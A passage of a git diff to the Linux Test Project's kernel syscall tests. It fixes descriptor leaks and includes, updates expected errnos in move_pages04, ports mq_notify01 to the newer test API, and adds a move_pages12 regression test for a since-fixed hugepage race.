 	tst_tmpdir();
-
 }
 
-/***************************************************************
- *  * cleanup() - performs all ONE TIME cleanup for this test at
- *   *              completion or premature exit.
- *    ***************************************************************/
 void cleanup(void)
 {
-
-	/*
-	 *      * Remove the temporary directory.
-	 *           */
 	tst_rmdir();
-
-	/*
-	 *      * Exit with return code appropriate for results.
-	 *           */
-
 }
diff --git a/testcases/kernel/syscalls/mkdirat/mkdirat01.c b/testcases/kernel/syscalls/mkdirat/mkdirat01.c
index 7e15947..a323ed5 100644
--- a/testcases/kernel/syscalls/mkdirat/mkdirat01.c
+++ b/testcases/kernel/syscalls/mkdirat/mkdirat01.c
@@ -30,7 +30,6 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/mknodat/mknodat01.c b/testcases/kernel/syscalls/mknodat/mknodat01.c
index 26e5538..2e13c77 100644
--- a/testcases/kernel/syscalls/mknodat/mknodat01.c
+++ b/testcases/kernel/syscalls/mknodat/mknodat01.c
@@ -29,7 +29,6 @@
 #include <sys/types.h>
 #include <fcntl.h>
 #include <sys/stat.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/mknodat/mknodat02.c b/testcases/kernel/syscalls/mknodat/mknodat02.c
index 7913872..0216aa2 100644
--- a/testcases/kernel/syscalls/mknodat/mknodat02.c
+++ b/testcases/kernel/syscalls/mknodat/mknodat02.c
@@ -29,7 +29,6 @@
 #include <sys/types.h>
 #include <fcntl.h>
 #include <sys/stat.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/mmap/mmap16.c b/testcases/kernel/syscalls/mmap/mmap16.c
index ca1f47d..52c291f 100644
--- a/testcases/kernel/syscalls/mmap/mmap16.c
+++ b/testcases/kernel/syscalls/mmap/mmap16.c
@@ -48,6 +48,7 @@
 static const char *fs_type = "ext4";
 static int mount_flag;
 static int chdir_flag;
+static int parentfd = -1;
 
 static int page_size;
 static int bug_reproduced;
@@ -91,7 +92,7 @@
 
 static void do_test(void)
 {
-	int fd, ret, status;
+	int ret, status;
 	pid_t child;
 	char buf[FS_BLOCKSIZE];
 
@@ -105,12 +106,12 @@
 	case 0:
 		do_child();
 	default:
-		fd = SAFE_OPEN(cleanup, "testfilep", O_RDWR);
+		parentfd = SAFE_OPEN(cleanup, "testfilep", O_RDWR);
 		memset(buf, 'a', FS_BLOCKSIZE);
 
 		TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
 		while (1) {
-			ret = write(fd, buf, FS_BLOCKSIZE);
+			ret = write(parentfd, buf, FS_BLOCKSIZE);
 			if (ret < 0) {
 				if (errno == ENOSPC) {
 					break;
@@ -120,7 +121,7 @@
 				}
 			}
 		}
-		SAFE_CLOSE(cleanup, fd);
+		SAFE_CLOSE(cleanup, parentfd);
 		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
 	}
 
@@ -188,7 +189,7 @@
 
 	memset(buf, 'a', FS_BLOCKSIZE);
 	fd = SAFE_OPEN(NULL, "testfilec", O_RDWR);
-	SAFE_PWRITE(NULL, 1, fd, buf, FS_BLOCKSIZE, 0);
+	SAFE_WRITE(NULL, 1, fd, buf, FS_BLOCKSIZE);
 
 	/*
 	 * In case mremap() may fail because that memory area can not be
@@ -219,7 +220,7 @@
 	 * kernel writepage is called, that means data corruption.
 	 */
 	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_SAFE_CHECKPOINT_WAIT2(NULL, 0, 60*1000);
 
 	for (offset = FS_BLOCKSIZE; offset < page_size; offset += FS_BLOCKSIZE)
 		addr[offset] = 'a';
@@ -231,6 +232,8 @@
 
 static void cleanup(void)
 {
+	if (parentfd >= 0)
+		close(parentfd);
 	if (chdir_flag && chdir(".."))
 		tst_resm(TWARN | TERRNO, "chdir('..') failed");
 	if (mount_flag && tst_umount(MNTPOINT) < 0)
diff --git a/testcases/kernel/syscalls/mount/mount02.c b/testcases/kernel/syscalls/mount/mount02.c
index e8adfe0..15dad0e 100644
--- a/testcases/kernel/syscalls/mount/mount02.c
+++ b/testcases/kernel/syscalls/mount/mount02.c
@@ -41,7 +41,7 @@
 #include <sys/mount.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include "test.h"
 #include "safe_macros.h"
 
diff --git a/testcases/kernel/syscalls/mount/mount03.c b/testcases/kernel/syscalls/mount/mount03.c
index 1873f0f..a8abbff 100644
--- a/testcases/kernel/syscalls/mount/mount03.c
+++ b/testcases/kernel/syscalls/mount/mount03.c
@@ -308,11 +308,13 @@
 
 		if (write(fd, "TEST_MS_NOATIME", 15) != 15) {
 			tst_resm(TWARN | TERRNO, "write %s failed", file);
+			close(fd);
 			return 1;
 		}
 
 		if (fstat(fd, &file_stat) == -1) {
 			tst_resm(TWARN | TERRNO, "stat %s failed #1", file);
+			close(fd);
 			return 1;
 		}
 
@@ -322,11 +324,13 @@
 
 		if (read(fd, readbuf, sizeof(readbuf)) == -1) {
 			tst_resm(TWARN | TERRNO, "read %s failed", file);
+			close(fd);
 			return 1;
 		}
 
 		if (fstat(fd, &file_stat) == -1) {
 			tst_resm(TWARN | TERRNO, "stat %s failed #2", file);
+			close(fd);
 			return 1;
 		}
 		close(fd);
diff --git a/testcases/kernel/syscalls/mount/mount04.c b/testcases/kernel/syscalls/mount/mount04.c
index e931d6d..5969fba 100644
--- a/testcases/kernel/syscalls/mount/mount04.c
+++ b/testcases/kernel/syscalls/mount/mount04.c
@@ -22,7 +22,7 @@
 #include <sys/mount.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <pwd.h>
 #include "test.h"
 #include "safe_macros.h"
diff --git a/testcases/kernel/syscalls/move_pages/move_pages04.c b/testcases/kernel/syscalls/move_pages/move_pages04.c
index 1657bee..0182538 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages04.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages04.c
@@ -30,9 +30,14 @@
  *
  * ALGORITHM
  *
- *      1. Pass a page that does not exit as one of the page addresses
- *         to move_pages().
- *      2. Check if the corresponding status is set to -ENOENT.
+ *      1. Pass zero page (allocated, but not written to) as one of the
+ *         page addresses to move_pages().
+ *      2. Check if the corresponding status is set to:
+ *         -ENOENT for kernels < 4.3
+ *         -EFAULT for kernels >= 4.3 [1]
+ *
+ * [1]
+ * d899844e9c98 "mm: fix status code which move_pages() returns for zero page"
  *
  * USAGE:  <for command-line>
  *      move_pages04 [-c n] [-i n] [-I x] [-P x] [-t]
@@ -84,7 +89,12 @@
 	int lc;
 	unsigned int from_node;
 	unsigned int to_node;
-	int ret;
+	int ret, exp_status;
+
+	if ((tst_kvercmp(4, 3, 0)) >= 0)
+		exp_status = -EFAULT;
+	else
+		exp_status = -ENOENT;
 
 	ret = get_allowed_nodes(NH_MEMS, 2, &from_node, &to_node);
 	if (ret < 0)
@@ -123,12 +133,15 @@
 			goto err_free_pages;
 		}
 
-		if (status[UNTOUCHED_PAGE] == -ENOENT)
-			tst_resm(TPASS, "status[%d] set to expected -ENOENT",
+		if (status[UNTOUCHED_PAGE] == exp_status) {
+			tst_resm(TPASS, "status[%d] has expected value",
 				 UNTOUCHED_PAGE);
-		else
-			tst_resm(TFAIL, "status[%d] is %d", UNTOUCHED_PAGE,
-				 status[UNTOUCHED_PAGE]);
+		} else {
+			tst_resm(TFAIL, "status[%d] is %s, expected %s",
+				UNTOUCHED_PAGE,
+				tst_strerrno(-status[UNTOUCHED_PAGE]),
+				tst_strerrno(-exp_status));
+		}
 
 err_free_pages:
 		/* This is capable of freeing both the touched and
diff --git a/testcases/kernel/syscalls/move_pages/move_pages12.c b/testcases/kernel/syscalls/move_pages/move_pages12.c
new file mode 100644
index 0000000..dda10d6
--- /dev/null
+++ b/testcases/kernel/syscalls/move_pages/move_pages12.c
@@ -0,0 +1,266 @@
+/*
+ * Copyright (c) 2016 Fujitsu Ltd.
+ *  Author: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
+ *  Ported: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * This is a regression test for the race condition between move_pages()
+ * and freeing hugepages, where move_pages() calls follow_page(FOLL_GET)
+ * for hugepages internally and tries to get its refcount without
+ * preventing concurrent freeing.
+ *
+ * This test can crash the buggy kernel, and the bug was fixed in:
+ *
+ *  commit e66f17ff71772b209eed39de35aaa99ba819c93d
+ *  Author: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
+ *  Date:   Wed Feb 11 15:25:22 2015 -0800
+ *
+ *  mm/hugetlb: take page table lock in follow_huge_pmd()
+ */
+
+#include <errno.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "move_pages_support.h"
+#include "lapi/mmap.h"
+
+#if HAVE_NUMA_MOVE_PAGES
+
+#define LOOPS	1000
+#define PATH_MEMINFO	"/proc/meminfo"
+#define PATH_NR_HUGEPAGES	"/proc/sys/vm/nr_hugepages"
+#define PATH_HUGEPAGES	"/sys/kernel/mm/hugepages/"
+#define TEST_PAGES	2
+#define TEST_NODES	2
+
+static int pgsz, hpsz;
+static long orig_hugepages = -1;
+static char path_hugepages_node1[PATH_MAX];
+static char path_hugepages_node2[PATH_MAX];
+static long orig_hugepages_node1 = -1;
+static long orig_hugepages_node2 = -1;
+static unsigned int node1, node2;
+static void *addr;
+
+static void do_child(void)
+{
+	int test_pages = TEST_PAGES * hpsz / pgsz;
+	int i, j;
+	int *nodes, *status;
+	void **pages;
+	pid_t ppid = getppid();
+
+	pages = SAFE_MALLOC(sizeof(char *) * test_pages);
+	nodes = SAFE_MALLOC(sizeof(int) * test_pages);
+	status = SAFE_MALLOC(sizeof(int) * test_pages);
+
+	for (i = 0; i < test_pages; i++)
+		pages[i] = addr + i * pgsz;
+
+	for (i = 0; ; i++) {
+		for (j = 0; j < test_pages; j++) {
+			if (i % 2 == 0)
+				nodes[j] = node1;
+			else
+				nodes[j] = node2;
+			status[j] = 0;
+		}
+
+		TEST(numa_move_pages(ppid, test_pages,
+			pages, nodes, status, MPOL_MF_MOVE_ALL));
+		if (TEST_RETURN) {
+			tst_res(TFAIL | TTERRNO, "move_pages failed");
+			break;
+		}
+	}
+
+	exit(0);
+}
+
+static void do_test(void)
+{
+	int i;
+	pid_t cpid = -1;
+	int status;
+
+	addr = SAFE_MMAP(NULL, TEST_PAGES * hpsz, PROT_READ | PROT_WRITE,
+		MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
+
+	SAFE_MUNMAP(addr, TEST_PAGES * hpsz);
+
+	cpid = SAFE_FORK();
+	if (cpid == 0)
+		do_child();
+
+	for (i = 0; i < LOOPS; i++) {
+		void *ptr;
+
+		ptr = SAFE_MMAP(NULL, TEST_PAGES * hpsz,
+			PROT_READ | PROT_WRITE,
+			MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
+		if (ptr != addr)
+			tst_brk(TBROK, "Failed to mmap at desired addr");
+
+		memset(addr, 0, TEST_PAGES * hpsz);
+
+		SAFE_MUNMAP(addr, TEST_PAGES * hpsz);
+	}
+
+	if (i == LOOPS) {
+		SAFE_KILL(cpid, SIGKILL);
+		SAFE_WAITPID(cpid, &status, 0);
+		if (!WIFEXITED(status))
+			tst_res(TPASS, "Bug not reproduced");
+	}
+}
+
+static void alloc_free_huge_on_node(unsigned int node, size_t size)
+{
+	char *mem;
+	long ret;
+	struct bitmask *bm;
+
+	tst_res(TINFO, "Allocating and freeing %zu hugepages on node %u",
+		size / hpsz, node);
+
+	mem = mmap(NULL, size, PROT_READ | PROT_WRITE,
+		   MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
+	if (mem == MAP_FAILED) {
+		if (errno == ENOMEM)
+			tst_brk(TCONF, "Cannot allocate huge pages");
+
+		tst_brk(TBROK | TERRNO, "mmap(..., MAP_HUGETLB, ...) failed");
+	}
+
+	bm = numa_bitmask_alloc(numa_max_possible_node() + 1);
+	if (!bm)
+		tst_brk(TBROK | TERRNO, "numa_bitmask_alloc() failed");
+
+	numa_bitmask_setbit(bm, node);
+
+	ret = mbind(mem, size, MPOL_BIND, bm->maskp, bm->size + 1, 0);
+	if (ret) {
+		if (errno == ENOMEM)
+			tst_brk(TCONF, "Cannot mbind huge pages");
+
+		tst_brk(TBROK | TERRNO, "mbind() failed");
+	}
+
+	numa_bitmask_free(bm);
+
+	memset(mem, 0, size);
+
+	SAFE_MUNMAP(mem, size);
+}
+
+static void setup(void)
+{
+	int memfree, ret;
+
+	check_config(TEST_NODES);
+
+	if (access(PATH_HUGEPAGES, F_OK))
+		tst_brk(TCONF, "Huge page not supported");
+
+	ret = get_allowed_nodes(NH_MEMS, TEST_NODES, &node1, &node2);
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "get_allowed_nodes: %d", ret);
+
+	pgsz = (int)get_page_size();
+	SAFE_FILE_LINES_SCANF(PATH_MEMINFO, "Hugepagesize: %d", &hpsz);
+
+	SAFE_FILE_LINES_SCANF(PATH_MEMINFO, "MemFree: %d", &memfree);
+	tst_res(TINFO, "Free RAM %d kB", memfree);
+
+	if (4 * hpsz > memfree)
+		tst_brk(TBROK, "Not enough free RAM");
+
+	snprintf(path_hugepages_node1, sizeof(path_hugepages_node1),
+		 "/sys/devices/system/node/node%u/hugepages/hugepages-%dkB/nr_hugepages",
+		 node1, hpsz);
+
+	snprintf(path_hugepages_node2, sizeof(path_hugepages_node2),
+		 "/sys/devices/system/node/node%u/hugepages/hugepages-%dkB/nr_hugepages",
+		 node2, hpsz);
+
+	if (!access(path_hugepages_node1, F_OK)) {
+		SAFE_FILE_SCANF(path_hugepages_node1,
+				"%ld", &orig_hugepages_node1);
+		tst_res(TINFO,
+			"Increasing %dkB hugepages pool on node %u to %ld",
+			hpsz, node1, orig_hugepages_node1 + 4);
+		SAFE_FILE_PRINTF(path_hugepages_node1,
+				 "%ld", orig_hugepages_node1 + 4);
+	}
+
+	if (!access(path_hugepages_node2, F_OK)) {
+		SAFE_FILE_SCANF(path_hugepages_node2,
+				"%ld", &orig_hugepages_node2);
+		tst_res(TINFO,
+			"Increasing %dkB hugepages pool on node %u to %ld",
+			hpsz, node2, orig_hugepages_node2 + 4);
+		SAFE_FILE_PRINTF(path_hugepages_node2,
+				 "%ld", orig_hugepages_node2 + 4);
+	}
+
+	hpsz *= 1024;
+
+	if (orig_hugepages_node1 == -1 || orig_hugepages_node2 == -1) {
+		SAFE_FILE_SCANF(PATH_NR_HUGEPAGES, "%ld", &orig_hugepages);
+		tst_res(TINFO, "Increasing global hugepages pool to %ld",
+			orig_hugepages + 8);
+		SAFE_FILE_PRINTF(PATH_NR_HUGEPAGES, "%ld", orig_hugepages + 8);
+	}
+
+	alloc_free_huge_on_node(node1, 4 * hpsz);
+	alloc_free_huge_on_node(node2, 4 * hpsz);
+}
+
+static void cleanup(void)
+{
+	if (orig_hugepages != -1)
+		SAFE_FILE_PRINTF(PATH_NR_HUGEPAGES, "%ld", orig_hugepages);
+
+	if (orig_hugepages_node1 != -1) {
+		SAFE_FILE_PRINTF(path_hugepages_node1,
+				 "%ld", orig_hugepages_node1);
+	}
+
+	if (orig_hugepages_node2 != -1) {
+		SAFE_FILE_PRINTF(path_hugepages_node2,
+				 "%ld", orig_hugepages_node2);
+	}
+}
+
+static struct tst_test test = {
+	.tid = "move_pages12",
+	.min_kver = "2.6.32",
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = do_test,
+};
+
+#else
+	TST_TEST_TCONF("move_pages support not found");
+#endif
diff --git a/testcases/kernel/syscalls/move_pages/move_pages_support.c b/testcases/kernel/syscalls/move_pages/move_pages_support.c
index 2c59c2a..a488c88 100644
--- a/testcases/kernel/syscalls/move_pages/move_pages_support.c
+++ b/testcases/kernel/syscalls/move_pages/move_pages_support.c
@@ -17,7 +17,7 @@
  */
 
 #include <sys/mman.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <unistd.h>
 #include <semaphore.h>
 #include "test.h"
diff --git a/testcases/kernel/syscalls/mprotect/mprotect03.c b/testcases/kernel/syscalls/mprotect/mprotect03.c
index c53932d..4bda261 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect03.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect03.c
@@ -43,7 +43,7 @@
 #include <sys/mman.h>
 #include <limits.h>
 #include <signal.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include "test.h"
 
 #include "safe_macros.h"
diff --git a/testcases/kernel/syscalls/mprotect/mprotect04.c b/testcases/kernel/syscalls/mprotect/mprotect04.c
index c94e25c..1173afd 100644
--- a/testcases/kernel/syscalls/mprotect/mprotect04.c
+++ b/testcases/kernel/syscalls/mprotect/mprotect04.c
@@ -24,6 +24,7 @@
  *      'prot' is set to PROT_EXEC.
  */
 
+#include "config.h"
 #include <signal.h>
 #include <setjmp.h>
 #include <sys/types.h>
@@ -178,6 +179,16 @@
 	return 0;
 }
 
+static void clear_cache(void *start, int len)
+{
+#if HAVE_BUILTIN_CLEAR_CACHE == 1
+	__builtin___clear_cache(start, start + len);
+#else
+	tst_brkm(TCONF, cleanup,
+		"compiler doesn't have __builtin___clear_cache()");
+#endif
+}
+
 /*
  * Copy page where &exec_func resides. Also try to copy subsequent page
  * in case exec_func is close to page boundary.
@@ -189,10 +200,7 @@
 	uintptr_t func_page_offset = (uintptr_t)&exec_func & (page_sz - 1);
 	void *func_copy_start = mem + func_page_offset;
 	void *page_to_copy = (void *)((uintptr_t)&exec_func & page_mask);
-#ifdef __powerpc__
 	void *mem_start = mem;
-	uintptr_t i;
-#endif
 
 	/* copy 1st page, if it's not present something is wrong */
 	if (!page_present(page_to_copy)) {
@@ -210,11 +218,7 @@
 	else
 		memset(mem, 0, page_sz);
 
-#ifdef __powerpc__
-	for (i = 0; i < copy_sz; i += 4)
-		__asm__ __volatile__("dcbst 0,%0; sync; icbi 0,%0; sync; isync"
-			:: "r"(mem_start + i));
-#endif
+	clear_cache(mem_start, copy_sz);
 
 	/* return pointer to area where copy of exec_func resides */
 	return func_copy_start;
diff --git a/testcases/kernel/syscalls/mq_notify/mq_notify01.c b/testcases/kernel/syscalls/mq_notify/mq_notify01.c
index 5c7846c..99ec2ed 100644
--- a/testcases/kernel/syscalls/mq_notify/mq_notify01.c
+++ b/testcases/kernel/syscalls/mq_notify/mq_notify01.c
@@ -1,41 +1,25 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd		      */
-/*	  Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,	      */
-/*		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>,          */
-/*		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>	      */
-/* Porting from Crackerjack to LTP is done by		                      */
-/*         Manas Kumar Nayak maknayak@in.ibm.com>			      */
-/*								              */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or	      */
-/* (at your option) any later version.					      */
-/*									      */
-/* This program is distributed in the hope that it will be useful,	      */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	      */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		      */
-/* the GNU General Public License for more details.			      */
-/*									      */
-/* You should have received a copy of the GNU General Public License	      */
-/* along with this program;  if not, write to the Free Software Foundation,   */
-/* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           */
-/*									      */
-/******************************************************************************/
-/******************************************************************************/
-/*									      */
-/* Description: This tests the mq_notify() syscall			      */
-/*									      */
-/******************************************************************************/
+/*
+ * Copyright (c) Crackerjack Project., 2007-2008 ,Hitachi, Ltd
+ *          Author(s): Takahiro Yasui <takahiro.yasui.mp@hitachi.com>,
+ *		       Yumiko Sugita <yumiko.sugita.yf@hitachi.com>,
+ *		       Satoshi Fujiwara <sa-fuji@sdl.hitachi.co.jp>
+ * Copyright (c) 2016 Linux Test Project
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ */
 #define _XOPEN_SOURCE 600
-#include <sys/syscall.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/uio.h>
-#include <getopt.h>
-#include <libgen.h>
 #include <limits.h>
 #include <errno.h>
-#include <stdio.h>
 #include <unistd.h>
 #include <string.h>
 #include <mqueue.h>
@@ -43,32 +27,19 @@
 #include <stdlib.h>
 #include <fcntl.h>
 
-#include "../utils/include_j_h.h"
+#include "tst_test.h"
+#include "tst_safe_posix_ipc.h"
 
-#include "test.h"
-#include "linux_syscall_numbers.h"
+#define MAX_MSGSIZE     8192
+#define MSG_SIZE	16
+#define USER_DATA       0x12345678
+#define QUEUE_NAME	"/test_mqueue"
 
-char *TCID = "mq_notify01";
-int testno;
-int TST_TOTAL = 1;
+static char *str_debug;
+static char smsg[MAX_MSGSIZE];
 
-static void cleanup(void)
-{
-	tst_rmdir();
-}
-
-static void setup(void)
-{
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-#define SYSCALL_NAME    "mq_notify"
-
-static int opt_debug;
-static char *progname;
-static int notified;
-static int cmp_ok;
+static volatile sig_atomic_t notified, cmp_ok;
+static siginfo_t info;
 
 enum test_type {
 	NORMAL,
@@ -81,75 +52,74 @@
 struct test_case {
 	int notify;
 	int ttype;
+	const char *desc;
 	int ret;
 	int err;
 };
 
-#define MAX_MSGSIZE     8192
-#define MSG_SIZE	16
-#define USER_DATA       0x12345678
-
+#define TYPE_NAME(x) .ttype = x, .desc = #x
 static struct test_case tcase[] = {
-	{			// case00
-	 .ttype = NORMAL,
-	 .notify = SIGEV_NONE,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case01
-	 .ttype = NORMAL,
-	 .notify = SIGEV_SIGNAL,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case02
-	 .ttype = NORMAL,
-	 .notify = SIGEV_THREAD,
-	 .ret = 0,
-	 .err = 0,
-	 },
-	{			// case03
-	 .ttype = FD_NONE,
-	 .notify = SIGEV_NONE,
-	 .ret = -1,
-	 .err = EBADF,
-	 },
-	{			// case04
-	 .ttype = FD_NOT_EXIST,
-	 .notify = SIGEV_NONE,
-	 .ret = -1,
-	 .err = EBADF,
-	 },
-	{			// case05
-	 .ttype = FD_FILE,
-	 .notify = SIGEV_NONE,
-	 .ret = -1,
-	 .err = EBADF,
-	 },
-	{			// case06
-	 .ttype = ALREADY_REGISTERED,
-	 .notify = SIGEV_NONE,
-	 .ret = -1,
-	 .err = EBUSY,
-	 },
+	{
+		TYPE_NAME(NORMAL),
+		.notify = SIGEV_NONE,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		TYPE_NAME(NORMAL),
+		.notify = SIGEV_SIGNAL,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		TYPE_NAME(NORMAL),
+		.notify = SIGEV_THREAD,
+		.ret = 0,
+		.err = 0,
+	},
+	{
+		TYPE_NAME(FD_NONE),
+		.notify = SIGEV_NONE,
+		.ret = -1,
+		.err = EBADF,
+	},
+	{
+		TYPE_NAME(FD_NOT_EXIST),
+		.notify = SIGEV_NONE,
+		.ret = -1,
+		.err = EBADF,
+	},
+	{
+		TYPE_NAME(FD_FILE),
+		.notify = SIGEV_NONE,
+		.ret = -1,
+		.err = EBADF,
+	},
+	{
+		TYPE_NAME(ALREADY_REGISTERED),
+		.notify = SIGEV_NONE,
+		.ret = -1,
+		.err = EBUSY,
+	},
 };
 
-static void sigfunc(int signo, siginfo_t * info, void *data)
+static void setup(void)
 {
-	if (opt_debug) {
-		tst_resm(TINFO, "si_code  E:%d,\tR:%d", info->si_code,
-			 SI_MESGQ);
-		tst_resm(TINFO, "si_signo E:%d,\tR:%d", info->si_signo,
-			 SIGUSR1);
-		tst_resm(TINFO, "si_value E:0x%x,\tR:0x%x",
-			 info->si_value.sival_int, USER_DATA);
-		tst_resm(TINFO, "si_pid   E:%d,\tR:%d", info->si_pid, getpid());
-		tst_resm(TINFO, "si_uid   E:%d,\tR:%d", info->si_uid, getuid());
-	}
-	cmp_ok = info->si_code == SI_MESGQ &&
-	    info->si_signo == SIGUSR1 &&
-	    info->si_value.sival_int == USER_DATA &&
-	    info->si_pid == getpid() && info->si_uid == getuid();
+	int i;
+
+	for (i = 0; i < MSG_SIZE; i++)
+		smsg[i] = i;
+}
+static void sigfunc(int signo LTP_ATTRIBUTE_UNUSED, siginfo_t *si,
+	void *data LTP_ATTRIBUTE_UNUSED)
+{
+	if (str_debug)
+		memcpy(&info, si, sizeof(info));
+
+	cmp_ok = si->si_code == SI_MESGQ &&
+	    si->si_signo == SIGUSR1 &&
+	    si->si_value.sival_int == USER_DATA &&
+	    si->si_pid == getpid() && si->si_uid == getuid();
 	notified = 1;
 }
 
@@ -159,16 +129,13 @@
 	notified = 1;
 }
 
-static int do_test(struct test_case *tc)
+static void do_test(unsigned int i)
 {
-	int sys_ret;
-	int sys_errno;
-	int result = RESULT_OK;
-	int rc, i, fd = -1;
+	int rc, fd = -1;
 	struct sigevent ev;
 	struct sigaction sigact;
 	struct timespec abs_timeout;
-	char smsg[MAX_MSGSIZE];
+	struct test_case *tc = &tcase[i];
 
 	notified = cmp_ok = 1;
 
@@ -177,42 +144,28 @@
 	abs_timeout.tv_nsec = 0;
 
 	/*
-	 * When test ended with SIGTERM etc, mq discriptor is left remains.
+	 * When test ended with SIGTERM etc, mq descriptor is left remains.
 	 * So we delete it first.
 	 */
 	mq_unlink(QUEUE_NAME);
 
 	switch (tc->ttype) {
-	case FD_NOT_EXIST:
-		fd = INT_MAX - 1;
-		/* fallthrough */
 	case FD_NONE:
 		break;
+	case FD_NOT_EXIST:
+		fd = INT_MAX - 1;
+		break;
 	case FD_FILE:
-		TEST(fd = open("/", O_RDONLY));
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL, "can't open \"/\".");
-			result = 1;
-			goto EXIT;
+		fd = open("/", O_RDONLY);
+		if (fd < 0) {
+			tst_res(TBROK | TERRNO, "can't open \"/\".");
+			goto CLEANUP;
 		}
 		break;
 	default:
-		/*
-		 * Open message queue
-		 */
-		TEST(fd =
-		     mq_open(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU,
-			     NULL));
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL | TTERRNO, "mq_open failed");
-			result = 1;
-			goto EXIT;
-		}
+		fd = SAFE_MQ_OPEN(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL);
 	}
 
-	/*
-	 * Set up struct sigevent
-	 */
 	ev.sigev_notify = tc->notify;
 
 	switch (tc->notify) {
@@ -224,7 +177,7 @@
 		memset(&sigact, 0, sizeof(sigact));
 		sigact.sa_sigaction = sigfunc;
 		sigact.sa_flags = SA_SIGINFO;
-		TEST(rc = sigaction(SIGUSR1, &sigact, NULL));
+		rc = sigaction(SIGUSR1, &sigact, NULL);
 		break;
 	case SIGEV_THREAD:
 		notified = cmp_ok = 0;
@@ -235,125 +188,64 @@
 	}
 
 	if (tc->ttype == ALREADY_REGISTERED) {
-		TEST(rc = mq_notify(fd, &ev));
-		if (TEST_RETURN < 0) {
-			tst_resm(TFAIL | TTERRNO, "mq_notify failed");
-			result = 1;
-			goto EXIT;
+		rc = mq_notify(fd, &ev);
+		if (rc < 0) {
+			tst_res(TBROK | TERRNO, "mq_notify failed");
+			goto CLEANUP;
 		}
 	}
 
-	/*
-	 * Execute system call
-	 */
-	errno = 0;
-	sys_ret = mq_notify(fd, &ev);
-	sys_errno = errno;
-	if (sys_ret < 0)
-		goto TEST_END;
+	/* test */
+	TEST(mq_notify(fd, &ev));
+	if (TEST_RETURN >= 0) {
+		rc = mq_timedsend(fd, smsg, MSG_SIZE, 0, &abs_timeout);
+		if (rc < 0) {
+			tst_res(TFAIL | TTERRNO, "mq_timedsend failed");
+			goto CLEANUP;
+		}
 
-	/*
-	 * Prepare send message
-	 */
-	for (i = 0; i < MSG_SIZE; i++)
-		smsg[i] = i;
-	TEST(rc = mq_timedsend(fd, smsg, MSG_SIZE, 0, &abs_timeout));
-	if (rc < 0) {
-		tst_resm(TFAIL | TTERRNO, "mq_timedsend failed");
-		result = 1;
-		goto EXIT;
+		while (!notified)
+			usleep(10000);
+
+		if (str_debug && tc->notify == SIGEV_SIGNAL) {
+			tst_res(TINFO, "si_code  E:%d,\tR:%d",
+				info.si_code, SI_MESGQ);
